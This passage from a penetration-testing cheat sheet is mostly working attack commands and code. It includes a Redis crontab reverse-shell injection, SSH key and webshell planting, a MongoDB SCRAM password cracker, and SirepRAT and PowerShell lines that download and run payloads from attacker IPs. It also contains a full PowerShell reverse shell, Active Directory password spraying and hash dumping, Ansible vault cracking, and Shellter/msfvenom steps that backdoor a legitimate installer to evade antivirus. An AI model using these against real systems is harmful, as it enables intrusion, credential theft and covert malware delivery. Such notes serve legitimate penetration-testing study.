{&lt;br /&gt;
    try&lt;br /&gt;
    {&lt;br /&gt;
        // options.UserName = ???;&lt;br /&gt;
        // options.Password = ???;&lt;br /&gt;
        IWSManSession session = (IWSManSession)wsman.CreateSession(&amp;quot;http://&amp;lt;your_server_name&amp;gt;/wsman&amp;quot;, 0, options);&lt;br /&gt;
        if (session != null)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                // retrieve the Win32_Service xml representation&lt;br /&gt;
                var reply = session.Get(&amp;quot;http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=winmgmt&amp;quot;, 0);&lt;br /&gt;
                // parse xml and dump service name and description&lt;br /&gt;
                var doc = new XmlDocument();&lt;br /&gt;
                doc.LoadXml(reply);&lt;br /&gt;
                foreach (var elementName in new string[] { &amp;quot;p:Caption&amp;quot;, &amp;quot;p:Description&amp;quot; })&lt;br /&gt;
                {&lt;br /&gt;
                    var node = doc.GetElementsByTagName(elementName)[0];&lt;br /&gt;
                    if (node != null) Console.WriteLine(node.InnerText);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            finally&lt;br /&gt;
            {&lt;br /&gt;
                Marshal.ReleaseComObject(session);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    finally&lt;br /&gt;
    {&lt;br /&gt;
        Marshal.ReleaseComObject(options);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Source:&lt;br /&gt;
&lt;br /&gt;
* [https://stackoverflow.com/questions/3771920/how-to-access-winrm-in-c-sharp]&lt;br /&gt;
&lt;br /&gt;
== 6370 - Redis ==&lt;br /&gt;
&lt;br /&gt;
=== Commands &amp;amp; info ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Service file&lt;br /&gt;
/etc/systemd/system/redis.service&lt;br /&gt;
# Config file&lt;br /&gt;
installdir/redis/etc/redis. conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crontab ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@Urahara:~# echo -e &amp;quot;\n\n*/1 * * * * /usr/bin/python -c &#039;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\&amp;quot;10.85.0.53\&amp;quot;,8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\&amp;quot;/bin/sh\&amp;quot;,\&amp;quot;-i\&amp;quot;]);&#039;\n\n&amp;quot;|redis-cli -h 10.85.0.52 -x set 1&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 save&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dumping database ===&lt;br /&gt;
&lt;br /&gt;
=== Load module ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See PG Sybaris writeup&lt;br /&gt;
# https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#load-redis-module&lt;br /&gt;
# Following the instructions from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand you can compile a redis module to execute arbitrary commands.&lt;br /&gt;
# Then you need some way to upload the compiled module&lt;br /&gt;
# Load the uploaded module at runtime with MODULE LOAD /path/to/mymodule.so&lt;br /&gt;
# List loaded modules to check it was correctly loaded: MODULE LIST&lt;br /&gt;
# Execute commands:&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.exec &amp;quot;id&amp;quot;&lt;br /&gt;
&amp;quot;uid=0(root) gid=0(root) groups=0(root)\n&amp;quot;&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.exec &amp;quot;whoami&amp;quot;&lt;br /&gt;
&amp;quot;root\n&amp;quot;&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.rev 127.0.0.1 9999&lt;br /&gt;
Unload the module whenever you want: MODULE UNLOAD mymodule&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Redis-rogue server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# A exploit for Redis(&amp;lt;=5.0.5) RCE&lt;br /&gt;
# https://github.com/n0b0dyCN/redis-rogue-server&lt;br /&gt;
# https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf&lt;br /&gt;
python3 redis-rogue-server.py --rhost=192.168.143.69 --rport=6379 --lhost=192.168.49.143 --lport 6379&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#ssh Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1 Generate a ssh public-private key pair on your pc: ssh-keygen -t rsa&lt;br /&gt;
# 2 Write the public key to a file : (echo -e &amp;quot;\n\n&amp;quot;; cat ~/id_rsa.pub; echo -e &amp;quot;\n\n&amp;quot;) &amp;gt; spaced_key.txt&lt;br /&gt;
# 3 Import the file into redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key&lt;br /&gt;
# 4 Save the public key to the authorized_keys file on redis server:&lt;br /&gt;
# 4&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dir /var/lib/redis/.ssh&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dbfilename &amp;quot;authorized_keys&amp;quot;&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; save&lt;br /&gt;
OK&lt;br /&gt;
# Finally, you can ssh to the redis server with private key : ssh -i id_rsa redis@10.85.0.52&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Webshell ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#webshell Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# You must know the path of the Web site folder.&lt;br /&gt;
# Try also /var/www/html&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dir /usr/share/nginx/html&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dbfilename redis.php&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; set test &amp;quot;&amp;quot;&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; save&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 27017 - MongoDB ==&lt;br /&gt;
&lt;br /&gt;
=== Crack hash ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# In order to get the password for MonogDB you need to have the SCRAM challanege, either from a pcap or else. You need the username, client nonce, server nonce, salt, and the target hash.&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
import base64&lt;br /&gt;
import hashlib&lt;br /&gt;
import hmac&lt;br /&gt;
import sys&lt;br /&gt;
USERNAME = &#039;admin&#039;&lt;br /&gt;
SALT = &#039;zOa0kWA/OTak0a0vNaN0Zh2drO1uekoDUh4sdg==&#039;&lt;br /&gt;
CLIENT_NONCE = &#039;+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeK&#039;&lt;br /&gt;
SERVER_NONCE = &#039;+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeKoGtDP4x0LH5WZgQ9xFMJEJknBHTp6N1D&#039;&lt;br /&gt;
ITERATIONS = 15000&lt;br /&gt;
TARGET = &#039;/nW1YVs0JcvxU48jLHanbkQbZ4GFJ8+Na8fj7xM1s98=&#039;&lt;br /&gt;
WORDLIST = &#039;/usr/share/wordlists/rockyou.txt&#039;&lt;br /&gt;
def byte_xor(ba1, ba2):&lt;br /&gt;
    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])&lt;br /&gt;
def proof(username, password, salt, client_nonce, server_nonce, iterations):&lt;br /&gt;
    raw_salt = base64.b64decode(salt)&lt;br /&gt;
    client_first_bare = &#039;n={},r={}&#039;.format(username, client_nonce)&lt;br /&gt;
    server_first = &#039;r={},s={},i={}&#039;.format(server_nonce, salt, iterations)&lt;br /&gt;
    client_final_without_proof = &#039;c=biws,r={}&#039;.format(server_nonce)&lt;br /&gt;
    auth_msg = &#039;{},{},{}&#039;.format(client_first_bare, server_first, client_final_without_proof)&lt;br /&gt;
    salted_password = hashlib.pbkdf2_hmac(&#039;sha256&#039;, password.encode(&#039;utf-8&#039;), raw_salt, iterations)&lt;br /&gt;
    client_key = hmac.digest(salted_password, b&#039;Client Key&#039;, &#039;sha256&#039;)&lt;br /&gt;
    stored_key = hashlib.sha256(client_key).digest()&lt;br /&gt;
    client_signature = hmac.new(stored_key, auth_msg.encode(&#039;utf-8&#039;), &#039;sha256&#039;).digest()&lt;br /&gt;
    client_proof = byte_xor(client_key, client_signature)&lt;br /&gt;
    return base64.b64encode(client_proof).decode(&#039;utf-8&#039;)&lt;br /&gt;
counter = 0&lt;br /&gt;
with open(WORDLIST) as f:&lt;br /&gt;
    for candidate in f:&lt;br /&gt;
        counter = counter + 1&lt;br /&gt;
        if counter % 1000 == 0:&lt;br /&gt;
            print(&#039;Tried {} passwords&#039;.format(counter))&lt;br /&gt;
        p = proof(USERNAME, candidate.rstrip(&#039;\n&#039;), SALT, CLIENT_NONCE, SERVER_NONCE, ITERATIONS)&lt;br /&gt;
        if p == TARGET:&lt;br /&gt;
            print(&#039;Password found: {}&#039;.format(candidate.rstrip(&#039;\n&#039;)))&lt;br /&gt;
            sys.exit(0)&lt;br /&gt;
print(&#039;Wordlist exhausted with no password found.&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 29819 - Windows IoT Core SirepServer ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SafeBreach-Labs/SirepRAT SirepRAT]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Upload file - Example&lt;br /&gt;
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd &amp;quot;C:\Windows\System32\cmd.exe&amp;quot; --args &#039; /c powershell invoke-webrequest -o c:\windows\temp\nc.exe -uri http://10.10.14.12:9000/nc.exe&#039;&lt;br /&gt;
# Execute command - Example&lt;br /&gt;
 python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd &amp;quot;C:\Windows\System32\cmd.exe&amp;quot; --args &#039; /c c:\windows\temp\nc.exe -e cmd 10.10.14.12 4444&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Active Directory/Windows ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=2078&lt;br /&gt;
&lt;br /&gt;
=== ASREPRoast ===&lt;br /&gt;
&lt;br /&gt;
=== BloodHound ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using bloodhound.py. Source https://github.com/fox-it/BloodHound.py.&lt;br /&gt;
# Allows you to collect data for BloodHound from a Linux system, OSX system, or Windows system that has Python installed on it.&lt;br /&gt;
python3 bloodhound.py -c All -d  -u  -p &#039;&#039; -ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Start neo4j database&lt;br /&gt;
./neo4j console&lt;br /&gt;
# Start BloodHound&lt;br /&gt;
./BloodHound.bin --no-sandbox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Curated list of commands ===&lt;br /&gt;
&lt;br /&gt;
=== Dump hash ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have copied over C:\Windows\System32\config\SAM and C:\Windows\System32\config\SYSTEM to attacker machine, use this command to dump the hash.&lt;br /&gt;
usr/bin/impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kerberoast ===&lt;br /&gt;
&lt;br /&gt;
=== Pass The Hash ===&lt;br /&gt;
&lt;br /&gt;
=== Password Spraying ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
crackmapexec smb  -u users.txt -p passwords.txt&lt;br /&gt;
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123&lt;br /&gt;
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PSEXEC.py, PSExec.exe, Evil-WinRM ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 psexec.py test.local/john:password123@10.10.10.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# evil-winrm -u svc-alfresco -p &#039;s3rvice&#039; -i 10.10.10.161&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From SysInternals&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell commands ===&lt;br /&gt;
&lt;br /&gt;
Running powershell x64, and running (IEX) the downloaded ps1 file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.17:9000/mini-reverse.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running Powershell on target with ExectionPolicy to bypass&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell.exe -nop -exec bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running PowerUp.ps1 on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell.exe -nop -exec bypass -c &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.17:9000/PowerUp.ps1&#039;);Invoke-AllChecks&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Downloading SharpHound.exe on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
(new-object System.Net.WebClient).DownloadFile(&#039;http://10.10.14.17:9000/SharpHound.exe&#039;, &#039;C:\Users\[...]\Desktop\SharpHound.exe&#039;)&lt;br /&gt;
# Execute SharpHound&lt;br /&gt;
./SharpHound.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running PowerView.ps1 on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.45:5555/PowerView.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running Nishangs Invoke-PowershellTCP&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -c IEX(New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.18:9000/shell.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Use invoke webrequest and download script. With -UseBasicParsing. &#039;&#039;-UseBasicParsing - Indicates that the cmdlet uses the response object for HTML content without Document Object Model (DOM) parsing. This parameter is required when Internet Explorer is not installed on the computers, such as on a Server Core installation of a Windows Server operating system.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
iex (iwr &#039;10.10.14.9:9000/ipw.ps1&#039;) -UseBasicParsing&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Download a file and save it to location.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell Invoke-WebRequest -outfile c:\windows\system32\spool\drivers\color\nc.exe -uri http://10.10.14.24/nc64.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mini-reverseshell.ps1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$socket = new-object System.Net.Sockets.TcpClient(&#039;127.0.0.1&#039;, 413);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do&lt;br /&gt;
{&lt;br /&gt;
	$writer.Flush();&lt;br /&gt;
	$read = $null;&lt;br /&gt;
	$res = &amp;quot;&amp;quot;&lt;br /&gt;
	while($stream.DataAvailable -or $read -eq $null) {&lt;br /&gt;
		$read = $stream.Read($buffer, 0, 1024)&lt;br /&gt;
	}&lt;br /&gt;
	$out = $encoding.GetString($buffer, 0, $read).Replace(&amp;quot;`r`n&amp;quot;,&amp;quot;&amp;quot;).Replace(&amp;quot;`n&amp;quot;,&amp;quot;&amp;quot;);&lt;br /&gt;
	if(!$out.equals(&amp;quot;exit&amp;quot;)){&lt;br /&gt;
		$args = &amp;quot;&amp;quot;;&lt;br /&gt;
		if($out.IndexOf(&#039; &#039;) -gt -1){&lt;br /&gt;
			$args = $out.substring($out.IndexOf(&#039; &#039;)+1);&lt;br /&gt;
			$out = $out.substring(0,$out.IndexOf(&#039; &#039;));&lt;br /&gt;
			if($args.split(&#039; &#039;).length -gt 1){&lt;br /&gt;
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo&lt;br /&gt;
                $pinfo.FileName = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
                $pinfo.RedirectStandardError = $true&lt;br /&gt;
                $pinfo.RedirectStandardOutput = $true&lt;br /&gt;
                $pinfo.UseShellExecute = $false&lt;br /&gt;
                $pinfo.Arguments = &amp;quot;/c $out $args&amp;quot;&lt;br /&gt;
                $p = New-Object System.Diagnostics.Process&lt;br /&gt;
                $p.StartInfo = $pinfo&lt;br /&gt;
                $p.Start() | Out-Null&lt;br /&gt;
                $p.WaitForExit()&lt;br /&gt;
                $stdout = $p.StandardOutput.ReadToEnd()&lt;br /&gt;
                $stderr = $p.StandardError.ReadToEnd()&lt;br /&gt;
                if ($p.ExitCode -ne 0) {&lt;br /&gt;
                    $res = $stderr&lt;br /&gt;
                } else {&lt;br /&gt;
                    $res = $stdout&lt;br /&gt;
                }&lt;br /&gt;
			}&lt;br /&gt;
			else{&lt;br /&gt;
				$res = (&amp;amp;&amp;quot;$out&amp;quot; &amp;quot;$args&amp;quot;) | out-string;&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
		else{&lt;br /&gt;
			$res = (&amp;amp;&amp;quot;$out&amp;quot;) | out-string;&lt;br /&gt;
		}&lt;br /&gt;
		if($res -ne $null){&lt;br /&gt;
        $writer.WriteLine($res)&lt;br /&gt;
    }&lt;br /&gt;
	}&lt;br /&gt;
}While (!$out.equals(&amp;quot;exit&amp;quot;))&lt;br /&gt;
$writer.close();&lt;br /&gt;
$socket.close();&lt;br /&gt;
$stream.Dispose()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Powershell location&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 64-bit Windows&lt;br /&gt;
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe&lt;br /&gt;
# 32-bit (x86) Windows&lt;br /&gt;
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== User enumeration ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./kerbrute_linux_amd64 userenum -d  --dc  usernames.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Ansible ==&lt;br /&gt;
&lt;br /&gt;
[https://www.shellhacks.com/ansible-vault-encrypt-decrypt-string/ Ansible Vault: Encrypt | Decrypt a String - ShellHacks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Run Ad-hoc command&lt;br /&gt;
ansible victims -a &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Run ad-hoc command as root or other users&lt;br /&gt;
# If you don&#039;t specify user it will default to root.&lt;br /&gt;
ansible victims -a &amp;quot;whoami&amp;quot; --become&lt;br /&gt;
&lt;br /&gt;
##  Crack Ansible hash&lt;br /&gt;
# Notice the spaces between AES256 and 666...&lt;br /&gt;
cat test.yml &amp;gt;&lt;br /&gt;
$ANSIBLE_VAULT;1.1;AES256&lt;br /&gt;
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764&lt;br /&gt;
# Convert to readable hash&lt;br /&gt;
https://github.com/willstruggle/john/blob/master/ansible2john.py&lt;br /&gt;
python3 ansible2john.py test.yml &amp;gt; ansiblehash&lt;br /&gt;
cat ansiblehash &amp;gt;&lt;br /&gt;
$ansible$0*0*9661a952b5822af9a210...&lt;br /&gt;
# Crack the hash using john or hashcat&lt;br /&gt;
john ansiblehash&lt;br /&gt;
hashcat ansiblehash --force --hash-type=16900 /usr/share/wordlists/rockyou.txt&lt;br /&gt;
# Decrypt vault&lt;br /&gt;
cat pw.txt &amp;gt;&lt;br /&gt;
$ANSIBLE_VAULT;1.1;AES256&lt;br /&gt;
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764&lt;br /&gt;
cat pw.txt | ansible-vault decrypt&lt;br /&gt;
# Use the pass cracked from john or hashcat&lt;br /&gt;
Vault password:&lt;br /&gt;
lab&lt;br /&gt;
# Run the playbook&lt;br /&gt;
ansible-playbook playbook.yml --vault-password-file=vault.txt&lt;br /&gt;
# OR&lt;br /&gt;
ansible-playbook playbook.yml --ask-vault-pass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Artifactory Jfrog ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/artifactory-hacking-guide&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Anti-Virus Evasion (Bypass) ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/av-bypass https://book.hacktricks.xyz/windows-hardening/av-bypass]&lt;br /&gt;
&lt;br /&gt;
PWK chapter 17&lt;br /&gt;
&lt;br /&gt;
OSEP&lt;br /&gt;
&lt;br /&gt;
=== Test payload against AV ===&lt;br /&gt;
&lt;br /&gt;
https://virustotal.com (Don&#039;t use if you want you&#039;re payload to be detected. Virustotal sends a copy of payload to antiviurs vendors.&lt;br /&gt;
&lt;br /&gt;
https://antiscan.me&lt;br /&gt;
&lt;br /&gt;
=== Theory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On-Disk Evasion&lt;br /&gt;
- Packers&lt;br /&gt;
- Obfuscator&lt;br /&gt;
- Crypters&lt;br /&gt;
- Software protectors&lt;br /&gt;
# In-memory Evasion&lt;br /&gt;
- Remote Process Memory Injection&lt;br /&gt;
- Reflective DLL Injection&lt;br /&gt;
- Process Hollowing&lt;br /&gt;
- Inline hooking&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellter ===&lt;br /&gt;
&lt;br /&gt;
 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.&lt;br /&gt;
&lt;br /&gt;
 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.&lt;br /&gt;
&lt;br /&gt;
The free version only works for x86, not x64.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install shellter&lt;br /&gt;
apt install wine&lt;br /&gt;
# If error&lt;br /&gt;
dpkg --add-architecture i386 &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp;&lt;br /&gt;
apt-get install wine32:i386&lt;br /&gt;
# Start&lt;br /&gt;
shellter&lt;br /&gt;
# Download a valid .exe file, ex spotify installer and load it into shellter.&lt;br /&gt;
/home/aghanim/downloads/SpotifySetup.exe&lt;br /&gt;
# Choose a payload from the list.&lt;br /&gt;
L&lt;br /&gt;
1&lt;br /&gt;
SET LHOST: IP&lt;br /&gt;
SET LPORT: PORT&lt;br /&gt;
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You&#039;ll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter &amp;quot;migrate&amp;quot;.&lt;br /&gt;
set AutoRunScript post/windows/manage/migrate&lt;br /&gt;
-----------------------&lt;br /&gt;
# You can also set custom payload&lt;br /&gt;
# First generate a binary file with msfvenom. -e is the encoding we&#039;re using, and -i is the number of iterations. (The number of times to encode the payload)&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw &amp;gt; met.bin&lt;br /&gt;
# Start shellter&lt;br /&gt;
Choose Operation Mode - Auto/Manual (A/M/H): A&lt;br /&gt;
PE Target: /home/kali/poultry/whoami.exe&lt;br /&gt;
**********&lt;br /&gt;
* Backup *&lt;br /&gt;
**********&lt;br /&gt;
Backup: Shellter_Backups\whoami.exe&lt;br /&gt;
...&lt;br /&gt;
Filtering Time Approx: 0.0024 mins.&lt;br /&gt;
Enable Stealth Mode? (Y/N/H): N&lt;br /&gt;
************&lt;br /&gt;
* Payloads *&lt;br /&gt;
************&lt;br /&gt;
[1] Meterpreter_Reverse_TCP   [stager]&lt;br /&gt;
